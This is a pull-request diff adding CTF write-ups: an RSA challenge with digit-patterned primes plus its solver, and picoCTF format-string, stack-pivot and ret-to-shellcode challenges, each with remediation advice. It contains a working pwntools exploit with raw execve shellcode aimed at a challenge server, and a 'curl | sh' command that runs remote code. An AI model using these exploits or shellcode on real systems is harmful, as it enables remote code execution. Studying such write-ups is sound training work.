Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions lactf-2026/crypto/six-seven/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
## Context

<p align="center">
<img src="images/67.gif" width="400">
</p>

The challenge instance first asks for a Proof of Work to make spamming the server with a bot more computationally expensive. An example of a Proof of Work is below:
curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.Z5r08nzVnvLrMznfnkqH2A==
Once you solve this, you are given 2 numbers for the values of n and c and the instance is closed.
The hint given in the challenge is that, first, it is in the cryptography category and that it uses RSA encryption. Second, as the challenge name suggests, the primes for the RSA encryption follow the pattern `[67]*`.

The challenge also provides the source code `chall.py` which gives an insight as to how the primes are generated and that they are of length 256 digits, and that e = 65537.

## Vulnerability

Normally, RSA is quite hard to solve. In its typical implementation, the primes, p and q, are roughly 1024 bits each. p x q creates n, the modulus. The original text's ascii numbers are used to numerically convert the text into a number, m. e, which is typically 65537, is used then to create the ciphertext,c, with `c=m^e (mod n)`. e and d are modular inverses, so having d would allow us to recover the original message, m.
In traditional, secure RSA, this is nearly impossible to do, as finding d requires the prime factors of n, which should be unfeasible due to how large n is.
[This article](https://www.geeksforgeeks.org/computer-networks/rsa-algorithm-cryptography/) goes more in depth into how RSA works.

However, given the fact that we are given the hint of how the primes are generated, the search space of 256-digit primes goes from `10^256` to `2^256`, which makes the primes easier to determine, which ultimately breaks the underlying mechanism of the security behind RSA.

## Exploitation

The file `solve67.py` contains the python script written to solve the challenge. We realize we don't even need to iterate through the entire `2^256` large search space of potential primes, but rather go digit by digit.
It begins with the realization that a prime number must be odd and is comprised of 6s and 7s only. Thus, the final digit of each prime must be 7, which aligns with the fact that every n generated ended in 9. Given the limited search space, we can actually go digit by digit, from left to right.
Thus, we start with the two numbers 7,7 as our primes and continue to build them going right to left with a loop. In the loop, we look at the last i + 1 digits each time, and add 6 or 7 to the front of the thus-far-valid p and qs. We then try multiplying the new test p and test q, to see if it matches the last i+1 digits. If so, we keep it as a pair for the next part of the loop.
Thus, we build out the primes p and q. We multiply them a final time to ensure their product is n. We also ensure that once we have built out the entire numbers p and q that they are, indeed, primes. We use the primes to calculate the totient, phi, which we then use to calculate d, using its relationship as a modular inverse of relative to phi. We then use d to decrypt the cyphertext, as `m = c^d (mod n)`. Finally, we convert it to bytes and decode it to find the flag.
<p align="center">
<img src="images/67flag.png" width="600">
</p>

## Remediation

The most immediate remediation technique would be not to use a pattern to generate primes like `[67]*`, and especially do not make said pattern publically known, as this allowed us to iterate through a small, finite range of primes to determine p and q.

Instead, RSA primes should be generated by using CSPRNs, Cryptographically Secure Pseudo-Random Number Generators; primes should be picked from the entire available bit-space rather than a restricted set of digits.
28 changes: 28 additions & 0 deletions lactf-2026/crypto/six-seven/chall.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
#!/usr/local/bin/python3

import secrets
from Crypto.Util.number import isPrime, bytes_to_long


def generate_67_prime(length: int) -> int:
while True:
digits = [secrets.choice("67") for _ in range(length - 1)]
digits.append("7")

test = int("".join(digits))
if isPrime(test, false_positive_prob=1e-12):
return test


p = generate_67_prime(256)
q = generate_67_prime(256)
n = p * q
e = 65537

FLAG = open("flag.txt", "rb").read()
m = bytes_to_long(FLAG)

c = pow(m, e, n)

print(f"n={n}")
print(f"c={c}")
Binary file added lactf-2026/crypto/six-seven/images/67.gif
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added lactf-2026/crypto/six-seven/images/67flag.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
53 changes: 53 additions & 0 deletions lactf-2026/crypto/six-seven/solve67.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
import binascii
from Crypto.Util.number import long_to_bytes
n = 51892897382689572842045070488499783740392464715010639950375414286706759299308737295424729548173258420526568084233544152881325883921776347584183757378688012355765839129549376012208807986255091230676757766254877610974534480806555973484514403710999836102861504718137481576183741889014334248115047806422088665887428610011866916433120265855438477650498984637501192689177967178938635808317718949879261889904926622523146368344817633320077148643333708434915134803046778600470616771269269365439488394491912502144709567029
c = 1128402571314301061197849469387298504411323616860706421398106925690130683396872054810885667844296506565322624205383437420753898248505207364020589572861235048768359548847646177553236617086713073617581990180333904518292952884888429535941258911403810143897897755482177112455671062917783205785395824752114938745320779852361984762039955943080713658881042310566624436487283978991174571463483800989409730533398126074765149708718551981800818873408968765936833756167679088163178302040718335158827510217324640711602186405
e = 65537

def solve():
# p and q end in 7
candidates = [(7, 7)]

# We need to find 256 digits
for i in range(1, 256):
new_candidates = []
mod = 10**(i + 1)
target = n % mod

for p_val, q_val in candidates:
# Test all combinations of next digits
for p_digit in [6, 7]:
for q_digit in [6, 7]:
p_next = p_digit * (10**i) + p_val
q_next = q_digit * (10**i) + q_val

if (p_next * q_next) % mod == target:
new_candidates.append((p_next, q_next))
candidates = new_candidates
# Optimization: If we have multiple branches, just keep going.
# Usually, only 1 or 2 branches survive.

return candidates

all_pairs = solve()
print(f"[+] Found {len(all_pairs)} potential candidate pairs.")

for i, (p_test, q_test) in enumerate(all_pairs):
# Verification 1: Do they multiply to n?
if p_test * q_test == n:
print(f"[!] Verification successful for pair {i}!")

# Verification 2: Are they prime? (Optional but good)
# from Crypto.Util.number import isPrime
# if not isPrime(p_test): continue

phi = (p_test - 1) * (q_test - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

decrypted_bytes = long_to_bytes(m)
if b"lactf{" in decrypted_bytes:
print(f"SUCCESS! Flag: {decrypted_bytes.decode()}")
break
else:
print(f"Pair {i} multiplied correctly but resulted in garbage. Still searching...")
24 changes: 24 additions & 0 deletions picoctf/rev/format-string-2/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
## Context

Format String 2 is a binary exploitation challenge centered around a format string vulnerability. The challenge provide us with the source code, the binary, and allows us to connect to the challenge server. It also give us the following description: "This program is not impressed by cheap parlor tricks like reading arbitrary data off the stack. To impress this program you must change data on the stack!"

## Vulnerability

The vulnerability is `printf(buf)` on line 14, where user input is passed directly as the format string instead of `printf("%s", buf)`. Any format specifiers a user includes in their input is interpreted by `printf`, giving us a write primitive over memory.
The goal is to overwrite the global variable `sus` with `0x67616c66`, which the source code shows us will trigger the release of the flag. Since there is no PIE, `sus` has a fixed address we can grab straight from the binary.

## Exploitation

First we find the format string offset, which tells us which argument number our input is. We find the offset by sending a chain of `%p`s to read from the stack, and then we and look at where the input appears in the output. After some trial and error, we determine this offset to be 14.
Then, we grab the address of `sus`:

```bash
objdump -t ./format-string-2 | grep sus
# 0x404060
```

Then we construct the write. `%n` writes the number of bytes printed so far into a memory address, so to write `0x67616c66`, or 1735943526 in base 10, we would need to print over a billion characters before hitting `%n`, which far exceeds the input limit. Instead, `fmtstr_payload` from pwntools lets us split the write into individual byte writes, each one printing a smaller number of characters and writing a single byte at a time to successive addresses. For example, printing 0x66 to 0x404060, 0x6c to 0x404061, etc.This keeps the payload small enough to fit within the input limit while still achieving the full 4 byte value. The exploit script is in `payload.py`, and running it overwrites `sus`, and prints the flag!

## Remediation

Replace `printf(buf)` with `printf("%s", buf)`. User input should never be passed directly as a format string. Instead, treating it as a plain string eliminates the write primitive entirely.
41 changes: 41 additions & 0 deletions picoctf/rev/handoff/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
## Context

Handoff is a binary exploitation challenge centered around shellcode injection with an undersized overflow buffer, forcing us to use a stack pivot to reach a larger buffer elsewhere in memory. The challenge provides a binary and source code, and connecting to the instance gives us gives us the following interactive menu
`1. Add a new entry
2. Update an existing entry
3. Leave feedback and exit`.
Where the user can select an option and interact with the program as indicated over and over until they exit the program.

## Vulnerability

Looking at the source code, `handoff.c`, we can see that the key vulnerability is `fgets(feedback, NAME_LEN, stdin)` in the feedback option(3), where 32 bytes are read into an 8 byte buffer. This allows us to overflow past `feedback`, overwrite the saved RBP, and ultimately overwrite the return address, giving us control over where the program executes next. Running `checksec` shows us that the stack is executable, that there is no PIE, and there is no canary protecting the return address.


## Exploitation

We know that you want to put the payload into the overflow buffer, `feedback`. However, it is only 8 bytes, which is far too small to hold a full `execve("/bin/sh")` payload. So, we redirect execution into a larger buffer elsewhere. The source code shows us that entries are stored in an entries[] array of structs, which gives us 64 byte buffer per entry. So we can use the `feedback` overflow to redirect execution into `entries[1].msg`, which is large enough for the shellcode. However, we also notice in the source code that the program checks for `feedback[7] = '\0'` after the read, which corrupts byte 8 of our payload, so we have to pad with No Operations, or NOPs, so the corruption lands on a NOP rather than something important.

We build the payload in several parts, which can be seen found in `handoff-solve.py`.

**Step 1: find a `jmp rax` gadget.** When `vuln()` returns from `fgets()`, RAX is the register that holds return values of functions, so it holds the address of the `feedback` buffer, as that is what `fgets` returns. So if we redirect execution to a `jmp rax` instruction at the moment `ret` fires, we land at the start of `feedback`. We find one using ROPgadget:

`ROPgadget --binary ./handoff | grep "jmp rax"`
This gives us `0x000000000040116c`.

**Step 2: calculate the offset to the return address.** From running `objdump`, the disassembly shows us `lea -0xc(%rbp), %rax`, meaning `feedback` is located at `RBP - 12`. Combined with the 8 bytes of saved RBP, the offset from the start of `feedback` to the return address slot is 20 bytes.

**Step 3: calculate the stack pivot distance.** After `ret` fires and `jmp rax` executes, we're running instructions inside `feedback`. From there, we need to reach `entries[1].msg`, where our shellcode lives. We do this with a stack pivot: `sub rsp, 664` followed by `jmp rsp`. The stack grows downward on x86-64, so subtracting 664 from RSP (Stack Pointer, the register that tracks the top of the current stack frame) moves it down in memory to where `entries[1].msg` sits. Then `jmp rsp` transfers execution to that address. We do this instead of a hardcoded `jmp`; stack addresses are randomized on each run, but the distance between `entries[1].msg` and the return address stays constant. To find 664, we set a breakpoint in GDB on the `fgets` for entry 1's message and compute `return_address (RBP+8) - entries[1].msg address = 0x7ffcaa69b178 - 0x7ffcaa69aee0 = 0x298 = 664`. 664 encoded in little endian is `\x98\x02\x00\x00`, which we use for the `sub rsp` instruction.

**Step 4: build the feedback payload.** The 20 bytes from `feedback` to the return address get filled with the pivot bytes (`sub rsp, 664` then `jmp rsp`, 11 bytes total), padded out to 20 bytes with NOPs, followed by the `jmp rax` gadget address, overwriting the return address. The trailing NOPs also handle the `feedback[7] = '\0'` corruption: the null byte lands on a NOP and has no effect since NOPs do nothing.

**Step 5: place shellcode in `entries[1].msg`.** We need x86-64 shellcode that calls `execve("/bin/sh", NULL, NULL)` via `syscall`, which is the 64-bit equivalent of `int 0x80`. We prefix the shellcode with NOPs so that even if RSP lands slightly off after the pivot, execution still ends up at the real instructions.
![stack image](/stackimage.png)

The full flow when the exploit fires can be seen in the diagram above;`ret` jumps to `jmp rax`, which lands us in `feedback`, which runs the NOP sled and pivot to drop RSP by 664 bytes and `jmp rsp` into `entries[1].msg`, which runs the NOP sled into our shellcode and spawns a shell on the picoctf challenge server, giving us access to `flag.txt`!

## Remediation

The most immediate fix is ensuring the read is bounded to the actual buffer size, for example, `fgets(feedback, sizeof(feedback), stdin)` instead of using the larger `NAME_LEN` constant. This would eliminate the overflow entirely.

Beyond that, making the stack nonexecutable would reduce the number of primitives, as it would not have allowed us to have shellcode injection. Another security measure would be enabling PIE, which would randomize the addresses of gadgets like `jmp rax`, making it much harder to reliably use ROP gadgets to make a working exploit.

30 changes: 30 additions & 0 deletions picoctf/rev/handoff/handoff-solve.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
from pwn import *

context.arch = 'amd64'

p = remote('shape-facility.picoctf.net', 53774)

jmp_rax = p64(0x000000000040116c)

# x86-64 execve("/bin/sh") shellcode
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

# pivot: sub rsp, 664 then jmp rsp (hardcoded bytes)
pivot = b"\x90\x90\x48\x81\xec\x98\x02\x00\x00\xff\xe4"
payload = pivot.ljust(20, b"\x90")
payload += jmp_rax

p.sendlineafter(b'3. Exit the app\n', b'1')
p.sendlineafter(b'name: \n', b'A' * 8)

p.sendlineafter(b'3. Exit the app\n', b'1')
p.sendlineafter(b'name: \n', b'A' * 8)

p.sendlineafter(b'3. Exit the app\n', b'2')
p.sendlineafter(b'to?\n', b'1')
p.sendlineafter(b'them?\n', b'\x90' * 16 + shellcode)

p.sendlineafter(b'3. Exit the app\n', b'3')
p.sendlineafter(b'it: \n', payload)

p.interactive()
Binary file added picoctf/rev/handoff/stackimage.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
43 changes: 43 additions & 0 deletions picoctf/rev/ropfu/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
## Context

ROPfu is a binary exploitation challenge whose name is a nod to Return-Oriented Programming (ROP), a technique where instead of injecting your own code, you chain together small sequences of existing instructions in the binary, each ending in a `ret`, to accomplish arbitrary code execution. However, we do not end up chaining together ROP gadgets in the challenge due to the discovery of another primitive, an executable stack.

The challenge provides a binary and source code. Connecting to the instance gives you a shell prompt to interact with.

## Vulnerability

The vulnerability is the use of `gets()` in the `vuln()` function. `gets()` reads input into a fixed-size buffer with no bounds checking, meaning it will write as many bytes as you send regardless of how large the buffer actually is. This allows us to overflow past `buf`, overwrite the saved EBP (Base Pointer, the register that marks the bottom of the current stack frame), and ultimately overwrite the return address, giving us control over where the program executes next.

What makes this challenge different from a standard ret2win is the absence of a `win()` function. There is no helpful function to redirect execution to. Instead, `checksec` reveals that the stack is executable, meaning bytes written to the stack can be treated as instructions by the CPU. This introduces a new primitive: shellcode injection. Rather than jumping to existing code, we can write our own machine code directly onto the stack and execute it.

## Exploitation

![Stack layout before exploit](stackoriginal.png)

![Building the exploit](building exploit.png)

Running `objdump` on the binary reveals that `buf` lives at `EBP - 0x18`, meaning it starts 24 bytes below EBP. Combined with the 4 bytes of saved EBP, the offset to the return address is 28 bytes. See Diagram 1 for the clean stack layout before the exploit.

The goal is to inject shellcode that calls `execve("/bin/sh", NULL, NULL)` via `int 0x80`, a direct syscall to the OS to spawn a shell. Since the stack is executable, bytes we write there will run as instructions once EIP (Instruction Pointer, the register that tells the CPU which instruction to execute next) points to them.

We build the payload in three parts, following the order shown in Diagram 2.

**Step 1 — overwrite the return address with a `jmp eax` gadget.** We need a way to redirect EIP into buf, where our instructions will live. `gets()` conveniently returns the address of `buf` in EAX (the register that holds return values of functions), so at the moment `ret` fires EAX is already pointing at the start of buf. We find a `jmp eax` gadget in the binary using `ROPgadget`:

```bash
ROPgadget --binary ./ropfu | grep "jmp eax"
```

This gives us `0x0805333b`. We use 28 bytes of padding (24 for buf + 4 for saved EBP) to reach the return address slot and overwrite it with this gadget address.

**Step 2 — place `\xFF\xE4` at the start of buf.** After `ret` fires and `jmp eax` executes, EIP lands at the very start of buf. We need it to immediately jump to ESP (Stack Pointer, the register that tracks the top of the current stack frame), which after `ret` points directly above the return address where our shellcode is sitting. Since no `jmp esp` gadget exists in the binary, we place `\xFF\xE4`, the raw bytes that the CPU interprets as the `jmp esp` instruction, at the very beginning of buf. EIP hits them immediately and jumps to ESP.

**Step 3 — place shellcode above the return address.** This is where ESP points after `ret` fires. We put our `execve("/bin/sh")` shellcode here so that when `jmp esp` executes, the CPU runs it directly and spawns a shell.

The final payload can be found in `payload.py`. Running it spawns a shell on the picoctf challenge server, giving us access to `flag.txt`!
i
## Remediation

The most immediate fix is replacing `gets()` with an alternative like `fgets(buf, sizeof(buf), stdin)`, which limits input to the actual buffer size and eliminates the overflow entirely.

Beyond that, enabling NX (marking the stack as non-executable) would prevent shellcode injection as a technique entirely, even if an overflow exists. With NX enabled, bytes written to the stack cannot be executed, forcing an attacker to rely on existing code in the binary rather than injecting their own. Modern compilers often enable NX by default, and its absence here is what made shellcode injection possible in the first place.
Binary file added picoctf/rev/ropfu/buildingexploit.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading